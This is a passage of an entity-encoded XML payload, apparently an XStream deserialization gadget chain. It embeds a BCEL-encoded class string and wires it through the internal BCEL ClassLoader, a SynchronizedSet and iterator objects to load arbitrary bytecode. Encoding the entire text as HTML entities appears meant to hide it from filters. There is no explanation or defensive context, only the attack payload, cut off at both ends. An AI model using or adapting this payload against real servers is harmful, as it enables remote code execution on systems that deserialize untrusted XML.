&#51;&#97;&#36;&#84;&#36;&#89;&#36;&#102;&#101;&#36;&#56;&#56;&#50;&#36;&#100;&#57;&#75;&#117;&#36;&#102;&#50;&#36;&#98;&#49;&#36;&#97;&#56;&#82;&#36;&#99;&#101;&#36;&#101;&#56;&#36;&#56;&#99;&#87;&#89;&#36;&#53;&#100;&#36;&#97;&#101;&#36;&#100;&#99;&#36;&#54;&#48;&#81;&#36;&#97;&#56;&#36;&#57;&#52;&#36;&#98;&#98;&#36;&#101;&#100;&#36;&#102;&#50;&#36;&#112;&#36;&#99;&#100;&#36;&#101;&#51;&#36;&#98;&#54;&#114;&#36;&#100;&#55;&#36;&#56;&#100;&#36;&#100;&#99;&#72;&#66;&#76;&#36;&#101;&#99;&#120;&#36;&#57;&#98;&#36;&#98;&#99;&#36;&#116;&#36;&#98;&#57;&#36;&#99;&#99;&#36;&#51;&#102;&#86;&#89;&#36;&#99;&#97;&#36;&#114;&#97;&#36;&#55;&#101;&#36;&#101;&#100;&#109;&#36;&#57;&#97;&#36;&#98;&#53;&#36;&#111;&#36;&#99;&#49;&#36;&#56;&#54;&#36;&#100;&#101;&#110;&#36;&#56;&#55;&#36;&#98;&#52;&#122;&#36;&#57;&#97;&#36;&#98;&#98;&#36;&#95;&#95;&#36;&#98;&#53;&#36;&#102;&#99;&#99;&#36;&#99;&#57;&#117;&#36;&#115;&#99;&#119;&#36;&#101;&#48;&#73;&#36;&#100;&#98;&#36;&#55;&#99;&#36;&#80;&#36;&#97;&#102;&#121;&#36;&#101;&#48;&#68;&#90;&#36;&#99;&#49;&#36;&#98;&#100;&#36;&#97;&#48;&#69;&#36;&#112;&#36;&#107;&#119;&#116;&#36;&#88;&#36;&#66;&#36;&#100;&#101;&#36;&#57;&#97;&#36;&#100;&#100;&#36;&#99;&#53;&#36;&#57;&#101;&#75;&#36;&#113;&#36;&#55;&#102;&#36;&#57;&#100;&#113;&#36;&#97;&#53;&#36;&#118;&#36;&#57;&#54;&#36;&#55;&#99;&#36;&#57;&#51;&#36;&#101;&#98;&#110;&#36;&#100;&#50;&#36;&#115;&#36;&#51;&#101;&#69;&#85;&#36;&#89;&#36;&#118;&#36;&#101;&#50;&#36;&#51;&#100;&#36;&#100;&#100;&#106;&#36;&#51;&#101;&#36;&#102;&#55;&#36;&#55;&#99;&#36;&#102;&#102;&#120;&#88;&#36;&#95;&#36;&#102;&#55;&#36;&#54;&#48;&#36;&#99;&#53;&#36;&#53;&#98;&#36;&#97;&#56;&#36;&#99;&#101;&#36;&#95;&#36;&#121;&#49;&#36;&#99;&#54;&#36;&#108;&#36;&#102;&#48;&#36;&#98;&#57;&#106;&#36;&#98;&#53;&#36;&#98;&#100;&#36;&#98;&#56;&#36;&#101;&#48;&#36;&#100;&#53;&#36;&#85;&#87;&#74;&#36;&#113;&#49;&#77;&#51;&#36;&#98;&#100;&#36;&#84;&#70;&#36;&#90;&#36;&#116;&#36;&#53;&#101;&#36;&#101;&#54;&#36;&#70;&#36;&#72;&#36;&#55;&#101;&#109;&#36;&#53;&#100;&#36;&#97;&#52;&#36;&#53;&#100;&#36;&#57;&#51;&#36;&#102;&#53;&#36;&#99;&#97;&#36;&#57;&#48;&#49;&#36;&#102;&#56;&#36;&#56;&#102;&#99;&#36;&#97;&#53;&#36;&#99;&#51;&#36;&#57;&#56;&#36;&#97;&#49;&#36;&#99;&#98;&#36;&#100;&#97;&#70;&#36;&#100;&#51;&#36;&#102;&#51;&#107;&#36;&#56;&#99;&#36;&#57;&#97;&#36;&#100;&#54;&#36;&#113;&#36;&#102;&#51;&#65;&#36;&#99;&#99;&#36;&#100;&#102;&#36;&#98;&#56;&#77;&#36;&#99;&#101;&#48;&#36;&#102;&#55;&#36;&#116;&#36;&#98;&#99;&#36;&#100;&#55;&#36;&#99;&#52;&#36;&#101;&#97;&#36;&#57;&#48;&#36;&#68;&#36;&#101;&#51;&#95;&#36;&#99;&#55;&#83;&#36;&#118;&#36;&#101;&#50;&#36;&#72;&#67;&#119;&#36;&#98;&#102;&#102;&#36;&#100;&#99;&#36;&#98;&#54;&#36;&#56;&#57;&#36;&#101;&#57;&#56;&#99;&#36;&#106;&#36;&#107;&#36;&#99;&#98;&#36;&#51;&#102;&#99;&#36;&#56;&#55;&#101;&#36;&#111;&#36;&#51;&#101;&#106;&#36;&#73;&#36;&#97;&#51;&#36;&#101;&#100;&#36;&#101;&#52;&#36;&#57;&#49;&#36;&#56;&#56;&#36;&#99;&#51;&#36;&#56;&#56;&#36;&#57;&#56;&#36;&#89;&#36;&#57;&#53;&#36;&#99;&#53;&#36;&#102;&#52;&#80;&#36;&#117;&#70;&#36;&#101;&#98;&#107;&#36;&#99;&#100;&#36;&#56;&#100;&#36;&#97;&#53;&#36;&#99;&#53;&#36;&#108;&#36;&#102;&#48;&#36;&#57;&#54;&#36;&#72;&#36;&#57;&#101;&#88;&#36;&#108;&#36;&#99;&#51;&#36;&#78;&#36;&#98;&#98;&#36;&#101;&#55;&#36;&#102;&#100;&#66;&#36;&#51;&#99;&#36;&#101;&#51;&#67;&#36;&#117;&#36;&#119;&#36;&#57;&#49;&#49;&#36;&#95;&#36;&#70;&#81;&#36;&#82;&#36;&#88;&#36;&#98;&#49;&#36;&#99;&#101;&#36;&#56;&#101;&#112;&#86;&#36;&#113;&#36;&#100;&#51;&#36;&#66;&#36;&#101;&#98;&#73;&#36;&#97;&#99;&#36;&#102;&#49;&#36;&#67;&#36;&#98;&#49;&#36;&#97;&#99;&#36;&#86;&#108;&#36;&#56;&#101;&#36;&#56;&#55;&#36;&#97;&#54;&#67;&#36;&#100;&#54;&#76;&#36;&#99;&#102;&#78;&#36;&#57;&#100;&#36;&#102;&#54;&#36;&#101;&#49;&#36;&#101;&#51;&#36;&#97;&#100;&#36;&#56;&#100;&#36;&#112;&#36;&#99;&#54;&#83;&#36;&#56;&#100;&#36;&#56;&#53;&#36;&#98;&#50;&#36;&#99;&#48;&#36;&#107;&#117;&#36;&#98;&#55;&#36;&#70;&#36;&#57;&#55;&#36;&#102;&#101;&#109;&#36;&#99;&#57;&#36;&#97;&#100;&#36;&#100;&#54;&#36;&#51;&#101;&#103;&#36;&#102;&#97;&#36;&#68;&#36;&#100;&#53;&#36;&#98;&#48;&#36;&#101;&#97;&#36;&#108;&#36;&#97;&#97;&#36;&#71;&#36;&#55;&#100;&#105;&#36;&#99;&#49;&#36;&#97;&#52;&#36;&#56;&#49;&#36;&#57;&#48;&#36;&#74;&#36;&#100;&#101;&#36;&#98;&#49;&#36;&#101;&#101;&#89;&#112;&#36;&#57;&#98;&#36;&#102;&#99;&#36;&#102;&#55;&#36;&#97;&#57;&#36;&#102;&#57;&#36;&#101;&#55;&#36;&#98;&#100;&#36;&#98;&#101;&#36;&#102;&#49;&#48;&#77;&#36;&#98;&#49;&#36;&#99;&#98;&#36;&#121;&#36;&#98;&#56;&#36;&#102;&#98;&#36;&#98;&#102;&#36;&#111;&#70;&#36;&#80;&#36;&#69;&#36;&#68;&#36;&#56;&#98;&#36;&#51;&#97;&#57;&#36;&#99;&#100;&#36;&#101;&#54;&#50;&#57;&#36;&#88;&#122;&#36;&#102;&#97;&#36;&#51;&#99;&#68;&#36;&#57;&#99;&#55;&#83;&#36;&#101;&#52;&#108;&#120;&#36;&#56;&#99;&#36;&#56;&#54;&#36;&#56;&#54;&#36;&#100;&#49;&#36;&#87;&#36;&#100;&#101;&#36;&#89;&#36;&#107;&#87;&#36;&#87;&#36;&#114;&#36;&#56;&#97;&#36;&#99;&#51;&#36;&#78;&#36;&#102;&#56;&#36;&#85;&#36;&#101;&#55;&#36;&#57;&#100;&#36;&#102;&#57;&#89;&#36;&#102;&#56;&#36;&#101;&#49;&#115;&#71;&#36;&#51;&#97;&#36;&#56;&#100;&#82;&#36;&#108;&#71;&#36;&#100;&#99;&#36;&#89;&#36;&#97;&#101;&#36;&#98;&#53;&#36;&#57;&#57;&#36;&#84;&#36;&#98;&#48;&#36;&#99;&#97;&#36;&#98;&#57;&#36;&#100;&#102;&#36;&#54;&#48;&#36;&#97;&#99;&#36;&#102;&#49;&#36;&#79;&#36;&#102;&#50;&#36;&#95;&#36;&#100;&#101;&#65;&#36;&#66;&#36;&#102;&#102;&#36;&#101;&#51;&#36;&#95;&#78;&#36;&#99;&#48;&#36;&#98;&#101;&#36;&#100;&#51;&#36;&#56;&#55;&#98;&#121;&#36;&#67;&#73;&#36;&#108;&#36;&#57;&#99;&#36;&#84;&#36;&#57;&#56;&#36;&#51;&#99;&#36;&#56;&#49;&#36;&#100;&#50;&#102;&#80;&#36;&#98;&#101;&#36;&#100;&#48;&#36;&#56;&#55;&#79;&#36;&#56;&#50;&#36;&#51;&#101;&#36;&#53;&#99;&#36;&#102;&#99;&#36;&#70;&#36;&#102;&#50;&#36;&#57;&#98;&#36;&#98;&#102;&#36;&#111;&#36;&#57;&#52;&#36;&#68;&#75;&#80;&#36;&#56;&#53;&#75;&#36;&#73;&#117;&#36;&#70;&#36;&#99;&#49;&#36;&#51;&#99;&#36;&#117;&#36;&#111;&#36;&#99;&#100;&#36;&#101;&#51;&#87;&#36;&#52;&#48;&#36;&#56;&#98;&#36;&#78;&#36;&#66;&#36;&#99;&#97;&#36;&#102;&#51;&#48;&#36;&#56;&#49;&#36;&#51;&#101;&#36;&#57;&#51;&#36;&#101;&#56;&#36;&#101;&#53;&#36;&#101;&#48;&#52;&#36;&#117;&#36;&#99;&#49;&#85;&#36;&#102;&#52;&#112;&#36;&#100;&#49;&#36;&#51;&#102;&#36;&#52;&#48;&#36;&#102;&#57;&#36;&#103;&#36;&#53;&#99;&#36;&#56;&#55;&#36;&#57;&#99;&#73;&#36;&#67;&#36;&#51;&#101;&#36;&#56;&#51;&#36;&#99;&#102;&#113;&#117;&#36;&#54;&#48;&#36;&#79;&#36;&#98;&#101;&#36;&#56;&#48;&#36;&#95;&#36;&#82;&#36;&#102;&#55;&#36;&#120;&#36;&#57;&#52;&#36;&#97;&#54;&#36;&#109;&#36;&#102;&#55;&#55;&#36;&#56;&#54;&#36;&#101;&#53;&#108;&#36;&#102;&#56;&#36;&#100;&#97;&#36;&#99;&#54;&#36;&#81;&#36;&#99;&#98;&#36;&#99;&#54;&#36;&#99;&#51;&#36;&#97;&#48;&#36;&#99;&#57;&#67;&#83;&#36;&#79;&#110;&#36;&#102;&#101;&#36;&#68;&#36;&#102;&#53;&#36;&#117;&#53;&#36;&#99;&#51;&#36;&#100;&#49;&#36;&#70;&#36;&#65;&#36;&#65;&#13;&#10;&lt;&#47;&#115;&#116;&#114;&#105;&#110;&#103;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#97;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#111;&#117;&#116;&#101;&#114;&#45;&#99;&#108;&#97;&#115;&#115;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#110;&#97;&#109;&#101;&#115;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#112;&#114;&#111;&#99;&#101;&#115;&#115;&#111;&#114;&#67;&#76;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#98;&#99;&#101;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#108;&#97;&#115;&#115;&#76;&#111;&#97;&#100;&#101;&#114;&apos;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#112;&#97;&#114;&#101;&#110;&#116;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#115;&#117;&#110;&#46;&#109;&#105;&#115;&#99;&#46;&#76;&#97;&#117;&#110;&#99;&#104;&#101;&#114;&#36;&#69;&#120;&#116;&#67;&#108;&#97;&#115;&#115;&#76;&#111;&#97;&#100;&#101;&#114;&apos;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#112;&#97;&#114;&#101;&#110;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#112;&#97;&#99;&#107;&#97;&#103;&#101;&#50;&#99;&#101;&#114;&#116;&#115;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#104;&#97;&#115;&#104;&#116;&#97;&#98;&#108;&#101;&apos;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#99;&#108;&#97;&#115;&#115;&#101;&#115;&#32;&#100;&#101;&#102;&#105;&#110;&#101;&#100;&#45;&#105;&#110;&#61;&apos;&#106;&#97;&#118;&#97;&#46;&#108;&#97;&#110;&#103;&#46;&#67;&#108;&#97;&#115;&#115;&#76;&#111;&#97;&#100;&#101;&#114;&apos;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&#68;&#111;&#109;&#97;&#105;&#110;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#99;&#108;&#97;&#115;&#115;&#108;&#111;&#97;&#100;&#101;&#114;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#98;&#99;&#101;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#108;&#97;&#115;&#115;&#76;&#111;&#97;&#100;&#101;&#114;&apos;&#32;&#114;&#101;&#102;&#101;&#114;&#101;&#110;&#99;&#101;&#61;&apos;&#46;&#46;&#47;&#46;&#46;&apos;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#112;&#114;&#105;&#110;&#99;&#105;&#112;&#97;&#108;&#115;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#104;&#97;&#115;&#65;&#108;&#108;&#80;&#101;&#114;&#109;&gt;&#102;&#97;&#108;&#115;&#101;&lt;&#47;&#104;&#97;&#115;&#65;&#108;&#108;&#80;&#101;&#114;&#109;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#115;&#116;&#97;&#116;&#105;&#99;&#80;&#101;&#114;&#109;&#105;&#115;&#115;&#105;&#111;&#110;&#115;&gt;&#102;&#97;&#108;&#115;&#101;&lt;&#47;&#115;&#116;&#97;&#116;&#105;&#99;&#80;&#101;&#114;&#109;&#105;&#115;&#115;&#105;&#111;&#110;&#115;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#107;&#101;&#121;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#107;&#101;&#121;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&#68;&#111;&#109;&#97;&#105;&#110;&gt;&#13;&#10;&lt;&#100;&#111;&#109;&#97;&#105;&#110;&#115;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&quot;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&#115;&#36;&#83;&#121;&#110;&#99;&#104;&#114;&#111;&#110;&#105;&#122;&#101;&#100;&#83;&#101;&#116;&quot;&#32;&#115;&#101;&#114;&#105;&#97;&#108;&#105;&#122;&#97;&#116;&#105;&#111;&#110;&#61;&quot;&#99;&#117;&#115;&#116;&#111;&#109;&quot;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&#115;&#95;&#45;&#83;&#121;&#110;&#99;&#104;&#114;&#111;&#110;&#105;&#122;&#101;&#100;&#67;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#99;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&quot;&#115;&#101;&#116;&quot;&gt;&lt;&#47;&#99;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#109;&#117;&#116;&#101;&#120;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&quot;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&#115;&#36;&#83;&#121;&#110;&#99;&#104;&#114;&#111;&#110;&#105;&#122;&#101;&#100;&#83;&#101;&#116;&quot;&#32;&#114;&#101;&#102;&#101;&#114;&#101;&#110;&#99;&#101;&#61;&quot;&#46;&#46;&#47;&#46;&#46;&#47;&#46;&#46;&quot;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&#115;&#95;&#45;&#83;&#121;&#110;&#99;&#104;&#114;&#111;&#110;&#105;&#122;&#101;&#100;&#67;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#100;&#111;&#109;&#97;&#105;&#110;&#115;&gt;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#112;&#97;&#99;&#107;&#97;&#103;&#101;&#115;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#110;&#97;&#116;&#105;&#118;&#101;&#76;&#105;&#98;&#114;&#97;&#114;&#105;&#101;&#115;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#97;&#115;&#115;&#101;&#114;&#116;&#105;&#111;&#110;&#76;&#111;&#99;&#107;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#98;&#99;&#101;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#108;&#97;&#115;&#115;&#76;&#111;&#97;&#100;&#101;&#114;&apos;&#32;&#114;&#101;&#102;&#101;&#114;&#101;&#110;&#99;&#101;&#61;&apos;&#46;&#46;&apos;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&#65;&#115;&#115;&#101;&#114;&#116;&#105;&#111;&#110;&#83;&#116;&#97;&#116;&#117;&#115;&gt;&#102;&#97;&#108;&#115;&#101;&lt;&#47;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&#65;&#115;&#115;&#101;&#114;&#116;&#105;&#111;&#110;&#83;&#116;&#97;&#116;&#117;&#115;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#99;&#108;&#97;&#115;&#115;&#101;&#115;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#105;&#103;&#110;&#111;&#114;&#101;&#100;&#95;&#95;&#112;&#97;&#99;&#107;&#97;&#103;&#101;&#115;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#115;&#116;&#114;&#105;&#110;&#103;&gt;&#106;&#97;&#118;&#97;&#46;&lt;&#47;&#115;&#116;&#114;&#105;&#110;&#103;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#115;&#116;&#114;&#105;&#110;&#103;&gt;&#106;&#97;&#118;&#97;&#120;&#46;&lt;&#47;&#115;&#116;&#114;&#105;&#110;&#103;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#115;&#116;&#114;&#105;&#110;&#103;&gt;&#115;&#117;&#110;&#46;&lt;&#47;&#115;&#116;&#114;&#105;&#110;&#103;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#105;&#103;&#110;&#111;&#114;&#101;&#100;&#95;&#95;&#112;&#97;&#99;&#107;&#97;&#103;&#101;&#115;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#114;&#101;&#112;&#111;&#115;&#105;&#116;&#111;&#114;&#121;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#98;&#99;&#101;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#117;&#116;&#105;&#108;&#46;&#83;&#121;&#110;&#116;&#104;&#101;&#116;&#105;&#99;&#82;&#101;&#112;&#111;&#115;&#105;&#116;&#111;&#114;&#121;&apos;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#95;&#95;&#112;&#97;&#116;&#104;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#112;&#97;&#116;&#104;&#115;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#99;&#108;&#97;&#115;&#115;&#95;&#95;&#112;&#97;&#116;&#104;&gt;&#46;&lt;&#47;&#99;&#108;&#97;&#115;&#115;&#95;&#95;&#112;&#97;&#116;&#104;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#95;&#95;&#112;&#97;&#116;&#104;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#95;&#95;&#108;&#111;&#97;&#100;&#101;&#100;&#67;&#108;&#97;&#115;&#115;&#101;&#115;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#114;&#101;&#112;&#111;&#115;&#105;&#116;&#111;&#114;&#121;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#100;&#101;&#102;&#101;&#114;&#84;&#111;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#115;&#117;&#110;&#46;&#109;&#105;&#115;&#99;&#46;&#76;&#97;&#117;&#110;&#99;&#104;&#101;&#114;&#36;&#69;&#120;&#116;&#67;&#108;&#97;&#115;&#115;&#76;&#111;&#97;&#100;&#101;&#114;&apos;&#32;&#114;&#101;&#102;&#101;&#114;&#101;&#110;&#99;&#101;&#61;&apos;&#46;&#46;&#47;&#112;&#97;&#114;&#101;&#110;&#116;&apos;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#112;&#114;&#111;&#99;&#101;&#115;&#115;&#111;&#114;&#67;&#76;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#105;&#116;&#101;&#114;&#97;&#116;&#111;&#114;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#116;&#121;&#112;&#101;&gt;&#75;&#69;&#89;&#83;&lt;&#47;&#116;&#121;&#112;&#101;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#101;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#105;&#110;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#106;&#97;&#118;&#97;&#46;&#105;&#111;&#46;&#66;&#121;&#116;&#101;&#65;&#114;&#114;&#97;&#121;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&apos;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#98;&#117;&#102;&gt;&lt;&#47;&#98;&#117;&#102;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#112;&#111;&#115;&gt;&#48;&lt;&#47;&#112;&#111;&#115;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#109;&#97;&#114;&#107;&gt;&#48;&lt;&#47;&#109;&#97;&#114;&#107;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#99;&#111;&#117;&#110;&#116;&gt;&#48;&lt;&#47;&#99;&#111;&#117;&#110;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#105;&#110;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#105;&#115;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#99;&#111;&#110;&#115;&#117;&#109;&#101;&#100;&gt;&#102;&#97;&#108;&#115;&#101;&lt;&#47;&#99;&#111;&#110;&#115;&#117;